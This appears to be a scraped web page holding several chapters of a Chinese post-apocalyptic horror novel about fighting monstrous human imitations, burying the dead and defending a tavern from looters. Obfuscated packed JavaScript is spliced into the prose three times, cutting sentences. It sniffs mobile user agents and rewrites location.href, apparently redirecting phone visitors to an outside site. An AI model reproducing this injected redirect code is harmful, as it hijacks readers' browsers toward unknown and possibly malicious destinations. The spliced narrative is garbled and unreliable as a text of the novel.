宁筠坐在床上,指尖揉着眉心,白色的衣服上沾染几道湿痕,在潮湿地下中,湿痕就顺着胸襟扩散,像是浸泡在闷热的温泉之中。 “你刚刚说什么?”猎人坐在旁边的床铺上,脸色也不大好。 宁筠拧着衣角的手一顿。 有那么一瞬间,她觉得自己暴露了。 她的视线落在床上,上面除了属于她的苍白的手,还有另一只比她更加苍白的手。她拿起旁边的灯,放在那只手的上面,说:“我说,旁边有伪人。” “砰。” 猎人显然也看到了,毫不犹豫,冰冷的子弹穿过了床铺,声音尖锐,如同炸在耳边,将剩下两个人炸醒了。 “啊——”红毛尖叫,随手抓着什么东西,“大佬,您别吃我了,好痛啊!” 宁筠抬眼,一巴掌拍在红毛身上,吓得红毛又哆嗦了一下。 他抬头一看,“大佬?” “别掐了,再掐齐荦荦就要死了。”宁筠看了眼齐荦荦,脸被憋得通红,几乎要断气了。 齐荦荦终于缓过来气,急促地呼吸几声,“我梦到、梦到我变成了伪人,正吃着——” 还未说完,她呕了一声,指尖探向嘴巴里,扣弄着嗓子眼。 可惜大家走了一路,肚子里的东西早就消化空了,齐荦荦再怎么催,吐出来的也只有些许酸水。 此外宁筠还注意到,宁筠二人的床上会躺着一个伪人做陪床,而齐荦荦两人是躺在一起的。 人间讲究阴阳调和,当阴阳失衡,气场混乱时,鬼就会通过媒介,干扰现世运作。 导致宁筠有个错觉,可能是她们人气太重了,需要伪人气压一压。 室内有些静,宁筠收回思绪,瞟向通道口时,突然发现大家有些安静。 齐荦荦声音颤抖,“你们有没有觉得,地面在抖啊?” 她们身处地下,与其说地面在抖,莫不如说是上面在抖。 “轰隆——” 声音极快,从上方传播到了下方,仅用了半分钟。 众人抬头,歪歪曲曲的斜坡通道上,此时正噼里啪啦下饺子似的,下了一堆又一堆的伪人。 伪人们如出一辙的狞笑,歪歪扭扭地跑过来,被身后的同伴扳倒、压扁,最后仍是扬着笑容,直到被踩成肉泥。 这一面太过惊悚,红毛自称这几天锻炼了胆子,但看到这一幕还是腿软。 宁筠一把拉住他,当机立断,说:“把床都堆在一起,上高处。”说完率先掏出枪,对着一群伪人扫射起来。 有了宁筠的掩护,几人迅速抬着床铺,一层层叠高,直到八张床铺全都叠完,而宁筠带的子弹也快消耗一空了。 她却没急着上。 “你快上来—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明是轻微的响动,在红毛的耳朵里,却如同炸雷般刺耳。他看着声音的来源——被开了膛的肚子,表情罕见地有些茫然:“唉?” 肚子上的手抽了回去,临倒地时,红毛下意识地回头看了眼,神色却平静了下来。 手的主人名叫刘石,是红毛三人组的一员,宁筠给他起了个诨名叫“矮子”。 矮子扬着唇角,喉结处裂开了一张嘴,里面长着鲨鱼般的细密牙齿,仰着头,一口咬向了红毛。 红毛睁着眼睛,呼吸平稳,直到矮子吞掉了红毛脖颈间最后一点皮肉,头颅“咕噜噜”地滚了过来,正对着宁筠,表情宁静又安详。 在这一刻,宁筠有一点后悔。 如果她不在心里给别人起诨名,红毛可能会介绍一下自己,然后像齐荦荦一样,讲个故事,或者说一说他的远大理想。 可惜,她现在都不知道红毛的名字。 矮子的嘴巴换了成红毛的嘴,声音粗犷了许多,“都给我去死啊——” 是红毛生前的声音,分毫不差。 10. 酒馆 融合还在继续,矮子的鼻子上长了第三只眼睛,下巴上露出了两个鼻孔,十分诡异,像极了两个人的融合。 宁筠第一次看到伪人的融合,有点恶心,又有些诡异。 她不会也是这样变成“宁筠”的吧? “啧。” 猎人抬起枪,对准矮子,“从未听说过会复活的伪人,真不愧是四星区域。” 宁筠一枪崩掉伪人,闻言有些诧异:“四星?我买来的地图上写着是二星。” 猎人说:“被骗了吧。一、二星表示低危险,伪人数量稀少。三星表示伪人会成群出没,一般是十个二十个。四星开始伪人成堆出没。” 宁筠又看了眼地上的挣扎攀爬伪人,数量至少有三百。她在心里暗骂一声老板。 怪不得她买东西时,老板笑得这么开心,感情是终于来了个她这样的大冤种。 伪人们爬起来,拖着残疾的身体,趔趔趄趄地晃悠着,奔着宁筠几人的方向蜿蜒前行。 受过的伤似乎并未随着时间复原。 宁筠注意到了这一点。 她将枪口对准伪人的手和脚,“没有修复伤口,既然他们会复活,那就没必要打致命伤,直接打关节。” 猎人也懂这样的道理,趁着伪人们还未完全站起来时,子弹率先击中了伪人的膝盖和手腕。 果然有效。 伪人的身体似乎格外脆弱。无数只伪人在地面上抽搐,绊倒了其他伪人,眼球或其他零件被挤压,发出黏腻的“噗嗤”一声,那些零件顺着力道飞在空中,被同行的伪人一脚踩爆。红色白色或者透明色的液体,就淅淅沥沥地淌了下来。 堪称地狱般的画面。 齐荦荦一边吐,一边投掷匕首,为宁筠二人争取时间。 整个地下室的画面越像地狱,能站起来的伪人就越少。 直到最后一个再也爬不起来,齐荦荦才松了口气,不顾地面上的血污和残肢断臂,一屁股坐了下去。 “这下我们能出去了吧?”齐荦荦问。 宁筠没说话,踹着地面上的伪人,挨个翻过来查看伪人的脸。 齐荦荦看着宁筠从东边翻到西边,有部分还能动的伪人,想抓着宁筠的腿,然后被她一脚踩了下去,血污溅到她的脸上,她也只是抹了一把,继续翻下一个。 不知翻了过久,宁筠的声音有点疲惫,“不在这。” “谁?”齐荦荦下意识问。 这次回答她的是猎人,猎人同样翻着伪人身体,顺口回答道:“之前讨论的首领,我们怀疑就混在其中。” 齐荦荦说:“莫不是顺着什么东西逃走了?” 这里没什么东西能顺着走的,硬要说的话……宁筠掀起眼皮,看了眼中心的圆形柱子。 她就是在这里陷入梦境的。 现代世界中,有一种镜子叫双面镜,即内部可以通过镜子查看外部,而外部只会认为这是个普通的镜子,不会察觉任何异常。 如果光头当时在里面,借助双面镜的原理,她确实看不到他,而他也可以通过某种手段,将她们催眠。 这么解释倒也通顺。 说干就干,宁筠从兜里掏出来匕首,不停敲打着玻璃。 起初猎人还想阻止他,但听到敲击声后瞬间变了脸色。 “叮、叮、叮。” 正是她们在通道时听到的,让她们发慌、发毛的东西。 齐荦荦听到就觉得有点毛,勉强从嘴里挤出一句话:“这东西的声音真别致,听起来跟屠宰场的菜刀似的。” 如果红毛还在场,估计又要跪下来求齐荦荦别说了。 但没了这个气氛组,齐荦荦就觉得这个场面有点可怕,她最后咬咬牙,也拾起匕首敲了上去。 宁筠突然出声:“你家里见过这个东西吗?” 没见过的。 齐荦荦刚想说出来,却突兀住了嘴。 在她住在养父母的一年内,她应该见过这种东西,至少曾不止一次听到过这东西发出的声音。 声音清脆,常常伴随着她一整个早晨。声音响起,她就会起床,声音结束,她就知道自己该上学去了。 在人人成年都需要去喂伪人的年代,她作为乞丐能捞到学上,已经是一件很奇迹的一件事了。 要知道成绩优秀,就不需要18岁时出基地,而是留到内城工作,这辈子足够衣食无忧。 齐荦荦自然不会放弃这个机会,因为她知道这有多么的来之不易。 有些人似乎见不得这样的奇迹发生。 冰冷的脏水泼在她的身上,浸湿了整件衣服,菜叶、泥巴挂在身上,整个人看起来脏兮兮的。 三个富家子弟笑着闹着,拿着她不认识的一个长方体,横在胸前摁着什么。 齐荦荦没理会,转头就走,她知道被这个东西拍到了,明天的匿名墙就会又多出许多嘲笑的声音。 比如“垃圾女又去捡垃圾了”、“臭死了别来污染学校环境”之类不堪入耳的留言。 看门口爷爷已经见怪不怪了,帮她摘着菜叶子,心疼地说:“他们再欺负你,你就还手。有爷爷给你撑腰呢。” 齐荦荦摇了摇头,道了声谢,转身回了家。 她就是这时候撞到了养父从密道里出来。 养父诧异地问:“荦荦?你怎么回来了?” 齐荦荦垂下眼,声音很轻:“被同学恶作剧了,来换件衣服。” 这时,养母从院外出现,领着工人拖着一个透明柱子,对养父说:“弄来了,上一个——” “荦荦?” “摔倒在泥坑里了吗?阿玉,帮她换件衣服。”养母声音很温柔,人也很温柔,完全看不出来是她将齐荦荦推出基地。 阿云是保姆的名字。 就在被阿玉带走的那一刻,她下意识回头又看了一眼,养父正拿着锤子对柱子下方敲击,声音规律,像是每天叫她起床的铃声。 齐荦荦从过往的回忆中抽离。 柱子下方是金属结构,上面有几个金属按钮,齐荦荦顺着记忆,对着金属一个个敲了起来。 声音清脆,第一声响起,像是伴随着她最美好、最平静的生活,最后一声落下,似乎在预示着她的梦早已结束。 又或许是新的开始。 透明柱子自重心裂开个缝隙,随后向外扩散,直到可容纳一个人通行。 果然是双面镜。柱子里是个标准的现代化电梯,下部分是制面,上半部分是透明的玻璃,可以看到外面。 宁筠率先走了进去,见猎人和齐荦荦停留在外面,疑惑地问:“怎么不进来?” “这是什么东西,等会它们恢复了,我们岂不是要堵在这里了?”齐荦荦显然没见过。 宁筠道:“电梯。”见二人还有些不懂,耐心解释道,“可以直达地面的。” 已经有部分伪人顺着地面攀爬,快要摸到电梯的边了,猎人不再犹豫,拉着齐荦荦进了电梯,宁筠随即摁了最上面的按钮。 这里的电梯和现代的不太一致,按钮很模糊,运行时并不平稳,像是卡顿了,又或者被什么东西拖拽了下来,一会儿上一会下,成功让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁筠垂下眼,面无表情时的她看起来分外冷酷,像是索命的阎王,对着墙边的花瓶就是一刀。 成功将花瓶里的光头炸了出来。 光头果然有人类的智慧,被宁筠这么一炸,满脸的惊慌失措。 “我的乐园呢?”他的嗓音粗哑,又带着些愤怒的凄厉,“我的乐园被你弄到哪里去了?” 那个酷似楼梯间的平台区域?还是指那群伪人? 但没有人说话,这似乎戳到了他的痛处。 一阵令人牙酸的“吱嘎”声,从远极近,紧接着响彻了整个房间,光头就在这声音里阴沉地笑着。 “你们一个都逃不了。”光头说。 宁筠没心思听他逃不逃的,直接将他解决掉,然后招呼众人顺着楼梯开始往下。 但听着听着就有些不对劲了。这声音不仅没停下,似乎还带动了其他的什么东西。 ——是楼要倒塌,承重架构发出来的崩断声。 这个伪人想和他们同归于尽! 直到众人跑到二楼,四楼开始倒塌,将三楼里光头的尸体掩埋,无数尘土顺着楼梯口扑入二楼,遮住了周围人的眼。 宁筠阖着眼,用微弱的可视范围,尽量拉着猎人和齐荦荦。 可惜灾难不等人,眼见三楼崩塌,开始波及到二楼,宁筠才将将跑到了一楼过半,几乎要被身后的破石瓦砾砸个正着。 来不及了,宁筠用力向前一扑,将猎人和齐荦荦推到了门外。 硕大的石头堵住门口,别墅发出了最后的轰鸣声,砖石松动,如雨点般纷纷坠落,“噗通噗通”地砸在地面上,砸在宁筠的四周。 滚滚尘埃弥漫四周,飘散到了几米外的酒馆。宁筠迷糊地想着——他爹的小光头,反派果然死于话多。 “宁筠——”齐荦荦跪在一片废墟面前,无声哭泣。 11. 酒馆 两人已经在废墟前蹲了半天了。 两人不知从哪里翻出来个小车,吃力地搬运着碎石,从日出到日落,搬了一车又一车,直到二人彻底搬不动为止。 齐荦荦躺在地上,手指一动不动,虚弱地说:“扶我起来,我还能搬……” 猎人瞥了一眼,继续喝水,“歇着吧。” 齐荦荦不是没想过自己在基地外的生活,或许会被某个伪人吃掉,或许被同伴怀疑抛弃,但她没想到,率先被抛弃的,是她自己。 酒馆被月光披上了层朦胧。她望着酒馆,心想自己才不要帮宁筠收拾屋子呢,也不会帮她整理遗物,更不会给她立个衣冠冢。 “回去吧,她可能……”猎人声音很轻,更多的是惋惜。 好好一个天才,没想到会以这么戏剧的结尾落幕。 正当猎人站起身,往回走时,废墟里幽幽传出了一声:“……可能个屁。” 宁筠在废墟里躺了半天。 在她将两个人推出去后,一块碎石贯穿了她的胸脯,将她钉在原地,挪动不了分毫。 鲜血喷薄而出,浸染了衣服、裤子,顺着白到透明的脚踝流淌在地。在她意识的最后一刻,看到的就是这么一幅画面。 等到她再次醒来之后,发觉自己似乎被什么东西挪出了三米远,路径蜿蜒,反倒是距离出口更远了。 也不知道是哪个天才干的,宁筠的一口气都顺不直了。 本想祈祷着齐荦荦二人能挖穿,没想到两人越挖越偏,越挖越偏,简直要偏了半个地球。 宁筠刚恢复一点,卯足了气,才发出微不可闻的声音。 “——你们能不能换个方向挖。” 后面这句话可能太微弱了,两个人没听清。 “你听到没?她还活着!”齐荦荦猛地站起身,扒拉着土块。 指尖被尖锐的石头划出了鲜血,她却不管不顾,顺着原来的痕迹用力挖掘,仿佛找不到宁筠,她就不会停歇一般。 透着石头的缝隙,宁筠的心快死了。 如果不是齐荦荦距离她更加远了,她或许还真能期待一下。 救人不如自救。宁筠的指尖动了一下,上面的石头就“扑簌扑簌”往下掉灰,她奋力将其踹向一边,掉下来的灰迷了她的眼,她缓了一会儿,又将目标转向其他石头。 不知是齐荦荦又挖了回来,还是宁筠的自救成功,等到她重见天日时,见到的就是齐荦荦哭红的脸,还有猎人吃惊的表情。 怎么说呢,两人的表情有点像,死人推进火葬场后,居然活过来了的感觉。 也不怪她们两个,自己被一块石头砸穿,怎么看都活不了的。宁筠摩挲着自己的胸脯,愣了一下。 上面还沾染着濡湿的血迹,但贯穿她的石头不见了,取而代之的是新发芽的肋骨和血肉,在她的指尖下跳动着。 齐荦荦正要扶宁筠,被她制止,“……我能走。” 宁筠挡住活泼的、没有骨肉遮挡的心脏,轻声说:“我们回去吧,回到酒馆里去。” 在宁筠踩过的地面上,那里正长着新生的芽,被石头压弯后,竟将石头掀翻,又蓬勃生长起来。 第二天一早,宁筠被刺眼的阳光晒醒,还未起身,就听到门外传来对话声,怕惊扰着什么,声音都很低。 “我们不知道你朋友在哪里,但她还在休息,你不能过去。” “不行,就算你们要占为自有,也要帮我把她找出来!” “那也要等她醒来再说。” 声音渐渐远去,宁筠又迷糊了一会儿,终于清醒了。 她直起身,下意识地摸了一下自己的肚子,愣了一下,随即掀开上衣。 零件齐全,皮肤光滑白嫩,连层疤痕都没有。 伤……好了? 宁筠下了楼,就见到在吧台上擦拭着杯子的齐荦荦。 “你们今早在说什么?”宁筠问。 齐荦荦擦杯子的手一顿,然后说道:“她去找朋友了,据说她的朋友是酒馆前主人,估计是……” 后面的话齐荦荦没说,但宁筠已经能猜到了,毕竟当初老板能拿到酒馆的地址,就说明酒馆的主人早已去世。 至少要比宁筠来时早很多。 在基地外安家落户,就要做好长时间断水断电的准备,好在酒馆外有个发电机,还能用。 齐荦荦简简单单煮了水煮菜,配上从地下室拿出来的冻得硬邦邦的馒头,勉强能果腹。 馒头不仅干巴巴,还直掉渣,宁筠一边噎得直伸脖一边想,以后一定要种个菜园,还要做好多个发电机。 就在宁筠咽下最后一口馒头时,猎人回来了。 她的脸色不太好看,比在别墅地下室还要难看得多。 “没找到她的尸体。” 猎人语气有些颓,又瞥了眼宁筠,说,“既然你继承了酒馆,会调酒吧?调一个看看。” 宁筠沉默了一下,前两天一杯酒送走了光头和矮子,这光辉伟绩让她对酒有些发怵。 真调不死人吗? 但看猎人眼眸中弥漫着雾气,鼻尖泛了红,宁筠还是拿起了酒,随便调了一杯。 反正别墅群没有伪人了,应该死不了吧? “呕——” 猎人喝了一口就吐了出来。 果然还是难喝。 猎人“啧”了一声,像是自虐一般,又尝了一口,说:“他爹的,这酒味道和她调的一模一样。” 宁筠来了兴趣,问:“是酒馆的上一任主人吗?” 猎人将酒一口闷了,然后大着舌头说:“似的。” 她望着酒馆里的边边角角,有些和原来一样,有些又不一样了。 墙壁上的贴纸多了几个,桌子被磨平了角,酒柜里的酒似乎还多了集中,横梁上挂了串横幅,是她的字迹。 猎人名叫怀文雪,与她的同期还有一名猎人,名叫冬姗。 怀文雪名字含雪,而冬姗姓冬。 雪,凝雨,四时尽也。 两个处于四季尽头的生命,却如同烈火般互相吸引。 望不到头的旷野里放风筝,潺潺流水的小溪边泼水,百鸟鸣叫的森林里捉迷藏。 直到某一天,冬姗问她:“你不会向往基地外的世界吗?” 有什么好向往的?怀文雪没听懂。 外面是伪人满天跑,性命忧关的危险之地,她们向往什么,生死危机的刺激感吗? 冬姗轻轻地笑了两声,拿出了一本书,对着她说:“你看,上面有沙子堆成的山、石头裂开两半的峡谷、还有一望无际的海水,最重要的事,还有雪做的平原!” “那可是雪啊!象征冬日的雪!”冬姗满脸的向往,又拉着怀文雪絮絮叨叨说了好多。 怀文雪的视线停留在冬姗兴奋的脸上,突然对基地以外有了向往。 新一年,猎人招选,怀文雪在冬姗的怂恿下,成功报名了猎人预备役。 其实她不想当猎人,也不没有杀光伪人的雄心壮志, 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怀文雪不会喝酒,也不知道什么酒好喝,于是她随便点了一杯,无聊地坐在吧台上等。 酒馆被装饰得很漂亮,客人也很多,不少人喝得醉醺醺,就会在写满了小纸条的墙皮上贴点什么。 “愿我家的小朋友顺利考上大学” “做完这一单就辞职,回家好好照顾老婆孩子” “一定要保佑我升职啊——” …… 冬姗端来了一杯酒,酒面黑乎乎的,看起来浑浊不堪。 “呕——”怀文雪没忍住吐了出来,“你这酒有毒吧??怎么难喝成这样?!” 冬姗想了想,说:“大概是因为酒都是这样的?” 到很久以后,怀文雪在某个废弃的村落里,翻出了自家酿的酒时,才发现冬姗调的酒是真的难喝。 直到很久很久以后,怀文雪总觉得自己好久没去看望冬姗了,再次踏入酒馆时,却发现了宁筠几个人…… 宁筠又调了一杯酒给怀文雪,怀文雪照常喝了一口,呕了一下,紧接着一口闷下去。 怀文雪含糊不清地说:“下次别调这么高度数的,都苦!” 宁筠不太会看酒,总觉得度数很高的酒,可能也会更好喝,于是她默默地记下:“度数高的酒,苦。” 由于宁筠的酒度数高出太多,怀文雪说话听起来像飘在云端上。 怀文雪说:“你们,当时怎么不,告诉我,嗝。” “早知道,这样,我就,先找找,她,嗝,看是不是,在伪人,堆里。” 废墟已经塌了,处于地下室的家伙们也不会破土而出,再也不会有人来破坏她的酒馆,因为有另一个人接手了下一切,并打算默默地延续下去。 宁筠说:“她不会孤单。” 怀文雪还想说什么,又“啪”地一声,歪到在吧台上。 末了像是呓语一样,模模糊糊地说着:“一定要,找,到她。” 地下室的架子上,蔬菜码得整整齐齐,白面大米也是一袋子一袋子摞在一起,肉类则是规规矩矩地挂着,看起来井然有序。 冬姗一定是个热爱生活的人,宁筠喜欢热爱生活的人,她有些同情怀文雪口中的女孩子,心里隐隐有个决定。 伪人有吃完东西埋起来的习惯,宁筠以自己的眼光,在别墅群里挑到了几个绝佳的地点。 湖、山脚,还有别墅区最尾巴的小片平原。 12. 酒馆 宁筠先是找到了湖,湖底清澈透明,游鱼清晰可见,不大像是能藏尸的地方。 于是她又找了山脚下,山脚下有一个特别明显的坑,是红毛找到矮子时,随手挖下的,同样的,她也没看到隆起的土堆。 直到她顺着路线,找到了别墅群身后的平原。 平原不愧是平原,几乎是没有起伏,宁筠这次顺利地找到了一个隆起的小土堆,拿着铲子就挖了下去。 第一个是男性,第二个是男性,第三个,第四个…… 直到挖到了第十个小土堆,宁筠才挖到了第一位女性。 直到挖出来人时,宁筠才突然想起来什么。 ——坏了,忘记问怀文雪,冬姗长什么样子了。 怀文雪不胜酒力,两杯高度数的酒让她直接睡到了四点半。 太阳偏斜,阳光也散发着温柔气息,火红色的天际让怀文雪无端想起了冬姗,她生前也喜欢穿红火色的衣服,整个人看起来风风火火。 怀文雪甩了甩脑袋,刚打开房门,就被眼前的一幕震撼到了。 只见宁筠骑着个三轮车,车里整整齐齐码好了几十具尸体,像卸货似的,把尸体整整齐齐码在堆在酒馆旁的草坪上。 与仓鼠屯粮不同的是,她居然还知道将尸体分开。 有些尸体都烂了,散发着臭味,零星几个苍蝇试图落下,却被臭味熏得无法下脚。 宁筠说:“我不知道冬姗长什么样子,所以我把能带来的都带来了。” 何止。 有些大体上完整,有些被啃了半边脸,另一边开始腐烂,滴着浑浊的巧克力色液体。剩下大多数的,是连是谁都分辨不出来的骨架子。 怀文雪目瞪口呆。 直到宁筠将车上的货全部卸完,擦拭了下额头的汗水,对怀文雪说:“都在这了,要不你翻一翻,认认?” 拌一拌都能混水泥玩,认个屁。 怀文雪这么想着,但还是走上前来,仔细辨别着。 冬姗总和她说,人间总会有奇迹的。怀文雪嗤之以鼻,现在的她,看着一板一眼码着尸体的宁筠,觉得也不是没有可能。 怀文雪暗骂自己一声出息,手上却不停,从尸山里翻来翻去,居然让她翻出来了一件衣服。 是红火色的,像只耀眼的小太阳。 她拿起衣服,衣服里的骨头就稀稀拉拉地掉了下来,怀文雪匆忙接住,小心翼翼地将它们摆起来。 猎人协会上除了教战斗技巧,也会教一些医学,用来极端情况下的自医。怀文雪这方面学得很好,又自学了许多人体构造,没想到这个时候居然派上了用场。 直到一具完整的骨架被摆放出来,怀文雪抱着它又哭又笑,唇瓣不停发颤。 “谢谢你。”怀文雪声音很轻,指尖一遍又一遍地划着骨架。 骨架还是拼早了,等到几人下墓时,才发觉留的坑位不够。 在宁筠忙忙碌碌像个仓鼠找尸体的过程中,齐荦荦就在院子了挖坑。 本以为坑只需要容纳几个人,没想到宁筠拉回来的尸体越来越多,越来越多…… 齐荦荦在山脚下挖出了三室一厅,扔掉铲子,哼笑着说:“我就不信,这么大的坑还满足不了你们?” 三人把其他尸体扔在坑里,给冬姗和红毛单独挖了个两个墓室,填完坑,压上石碑,又在面前鞠了三躬,才算是结束。 做完这些事情后,已经到了下午四点四十五分。 怀文雪才想起什么似的,“五点列车会发车,我要走了。” “我给你扔一本猎人协会的教学书,算作答谢,上面有不少技巧,希望能对你有帮助。”猎人挥了挥手,“酒馆就交给你了,我会来喝酒的,后会有期。” 列车虽说是五点发车,但是会提前十五分钟设置探测仪,进行随行检测,这个过程只持续十分钟。也就是说,怀文雪极有可能赶不上这趟车的。 怀文雪刚走出别墅区,顺着小路回到平原时,就听到身后有了铁链子晃荡的“吱嘎”声。 伪人喜欢在人们返回基地的时候偷袭,这种做法又阴又有效,成功率还高。 怀文雪已经做好了战斗的可能,没想到身后传来了宁筠的喊声。 “——喂,我来捎你一程。” 三轮车是个好东西,不过五分钟就把怀文雪送到了列车前。只不过怀文雪似乎不太能接受,下车时都在捂着脸。 铁轨前的人类稀稀落落散成几团,相比于下车前的乌泱泱人群,少了近乎一半。 仅仅是一星平原,死亡率就有这么高。 列车长注意到了宁筠,遥遥地对她喊了声:“你不进车厢吗?” “她不进。”怀文雪替她回答,然后亮出了猎人标识,对着列车长敬了个礼,然后走进车厢。 “哇,居然想要在野外居住。” “不愧是猎人,就是艺高人胆大。” “哈哈哈,你昨天还被伪人吓尿了裤子呢,都来不及——” “不对,你是谁?!” 身后又有了骚乱发生,这似乎是上车前必备的节目,但这些与宁筠无关。 宁筠一路蹬着三轮回家,不少伪人在宁筠行驶路线上聚集,隐隐有了成军的趋势。 明明她才离开几分钟,路上就聚集了这么多伪人? 直到她进了别墅群前才发现,这些伪人是冲着她酒馆来的。准确来说,是冲着酒馆里的人类。 几个中年大汉在酒馆内又吃又喝,不仅将酒柜上的酒扫荡一空,还将锅碗瓢盆里的残羹剩饭一扫而尽。 这帮人是谁? “这地方的主人肯定没死多久,终于拣着了哈哈” “不亏咱们特意买的地图,好东西真不少!” “老潘,楼上有人吗?”坐在吧台上的一个魁梧男人喊道。 很快楼上就传来了声音,“没人!但是有几个女装,不会是女主人吧?” 店里的大汉们又哄笑起来,甚至有人吹着口哨,嘴里念叨着污言秽语。 宁筠一进门就看到了这幅景象。 酒馆被人鸠占鹊巢,齐荦荦不知所踪,一群人在她的酒馆里又打又砸,还扬言要将她们玩死。 好糟糕的话,就如同他糟糕的脑门一样。 宁筠握着枪,望着他头顶上被子弹贯穿的脑门,有些漫不经心地想着。 酒馆的空气内陷入了一瞬间的凝滞。 这女的谁?要干什么?怎么一上来就崩人玩? 宁筠只是简简单单的将枪口对准他们,就像对准伪人一样。 这群糙汉们不像是猎人,又不像是有丰富经验的普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880709|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,看到这一幕几乎要被吓直哆嗦,尤其是看到宁筠手中的枪——蔚蓝色的金属镀层,是猎人的专属。 踢到猎人了。 猎人不仅有丰富的屠伪人经验,还有丰富的屠人经验——至少在他们眼里,屠隐藏于人类的伪人,和屠人没什么区别。 坐在吧台上的老大咽了口水,磕磕绊绊地说:“那个,我们只是来休息一下,请问哪里惹到您了?” 宁筠垂下眼,轻声说:“你吃了我的饭。” “占了我的酒馆。” “还要玩死我。” 老大瞪着浑圆的眼睛,眉心处与之前大汉如出一辙的血洞,缓慢地倒在地上。 他到死都没想到,自己只是贪个小便宜,带着兄弟们占个酒馆,就将自己献身于此。 枪口处有些发热,缕缕烟雾挥发,过多击杀伪人后枪口就不大耐用了。 在其他人眼里一言不合就要噶人玩,极端恐怖的恐怖分子宁筠,此时正擦拭着枪口,心里有一种说不出来的平静感。 杀一个人,似乎与杀一个伪人没什么不同。 甚至看到众人惊恐的眼神,浑身发抖的身体,还蹙了下眉。 今天的伪人似乎有点聪明,不像是其他伪人一样,只知道前仆后继地过来送死。 她将枪口对准第三个、第四个、第五个…… 耳朵里似乎进了什么东西,嗡嗡地响,似乎有人在说: “我承认我抢劫了几个人,但我会改过自新……” “救命啊!这里有人……” “不要——” 直到最后一个男人,似乎恐惧到了极致,整个人哆嗦着,身下浸泡在打翻的酒液里,散发着骚味。 宁筠恍惚回神,掀起眼皮,看到了被吓得一动也不敢动的男人,抿了下唇。 自己这是怎么了? 还未等她想出个所以然,才发现酒馆内血腥气息弥漫,似乎吸引来了不少的伪人,带着扭曲的、可怖的笑容,紧贴在酒馆的玻璃上,整张脸被挤变了形。 宁筠拧眉,将这个疑问放在心底。 此时酒馆里活着的人,脸色都白了。 所有基地的人在出基地之外,都要了解的一件事:如果遇到基地外的人类,请务必小心。 他们真的会因为抢夺物资,心狠手辣地将其他人解决掉。 更何况,现在是他们想要占有有主之物,在路上引来了大批伪人,如果宁筠想要杀他们,基地也不会给他们任何人伸冤。 现在是断手断脚,等会就是喂伪人。 有不少人被吓得哆嗦,几乎不敢和宁筠对视。 宁筠问:“你们怎么找来这里的?” 其中有个男人似乎是二把手,苍白着脸说:“我们从一个老板的手里买下了地图,上面写着酒馆的物资丰富。” “我们想着,以后要是再外出基地,就把这里当做根据地。” “没想到……”男人看着她,没再继续说下去。 没想到遇到了她,还被人打成了这个样子。 “从哪里买来的?” “在第七区,挺破的那间屋子里。”男人回答。 宁筠回想了一下。 灰扑扑的屋子,户型模型展示柜,顶着鸡窝头的老板。 似乎都对上了。 13. 酒馆 老板害人不浅。 宁筠叹了口气,说:“先杀掉伪人吧,我可以放你们走。” 屋子里除了死掉的两个人之外,还有7个人活着。 窗外的伪人们闻到人类的血腥气味,宁愿被窗户的玻璃割破了皮,划到了动脉,也要迫不及待地顺着窗户的缝隙挤过来。 无论从什么时候看到伪人,宁筠都会有一种毛骨悚然的感觉,这类似于人类的原始思维——恐怖谷效应。 宁筠:“我需要你们帮我守住窗户。” 二把手眉头紧蹙。 这是个很危险的主意。 如果伪人比他们想象得更加聪明,如果他们失守了,如果宁筠只是拿他们填线,如果…… 作为整个队伍的领导者,他不能让同乡的村民去死,而将背后交给陌生人,将所有人性命放在赌盘上的豪赌。 二把手看到村民们的神情,恐惧、希冀、急迫……却在看向他时,变成了平静而又信任的眼神。 他深吸了口气,吩咐道:“每人守住一个窗户,不能让伪人进来!” 村民们当即应了一声“好!”,然后掏出了放在桌面之下的铲子、铁锹等物件,气势汹汹地蹲在窗户旁。 宁筠:“……” “你们没有匕首吗?” 二把手挠了挠头,有些不大好意思地说:“我们就是一帮种地的,这次路过那家店,想着去野外捡个漏的,结果……” 结果遇到了大佬,不仅没讨好,还要麻烦人家保护他们。 二把手正感慨着,就听到一声沉闷急促的声响, “砰!” 声音沉闷急促,几乎敲在了酒馆里人们的心上。 众人也不是没那么不靠谱,只要伪人能爬进来,就敲一个铁锹,敲得伪人两眼直冒金星,随之而来的就是宁筠的子弹。 怎么说呢,有点像某个守家的恐怖游戏。 几个村民打着打着,原本对宁筠的歧视和怨气逐渐变成了敬佩。 二把手在进入状态后就观察着宁筠,每次都看不到宁筠的动作,只听到“啪嗒”一声,弹壳掉落在地上,一发子弹突兀射出,正正好好打在了伪人的脖颈上。 四面八方的敲击声传来,伪人的进攻又快又猛。二把手只看到宁筠不停地转动方向,眼睛眨也不眨,伪人们如春雨般哗啦啦落下,很快在窗户下堆积成了小山丘。 没有惊人的反应速度和听力,是没有办法作出这么迅速地反应。二把手有些怔愣,这样的反应速度只能说明一件事,宁筠早知道它们如何靠近了。 真的会有这样天才的人类吗? 二把手不知道,但他能做的只有不断地配合,不断地……让这样的天才带领他们逃出生天。 这种状态几乎持续了大半个小时,宁筠连水都没喝,只有不停地开枪、开枪…… 直至已经五分钟没有伪人在进门之后,宁筠才微微松懈下来。 高强度的精神注意力,让宁筠暂时保持着兴奋,一旦停歇下来,才意识到自己的状态有多么的差。 眼睛干涩,几乎是停下来的瞬间,生理性的泪水涌入瞳孔,以及大脑带来的疲惫感,让宁筠无法睁眼的同时,还有些昏昏欲睡。 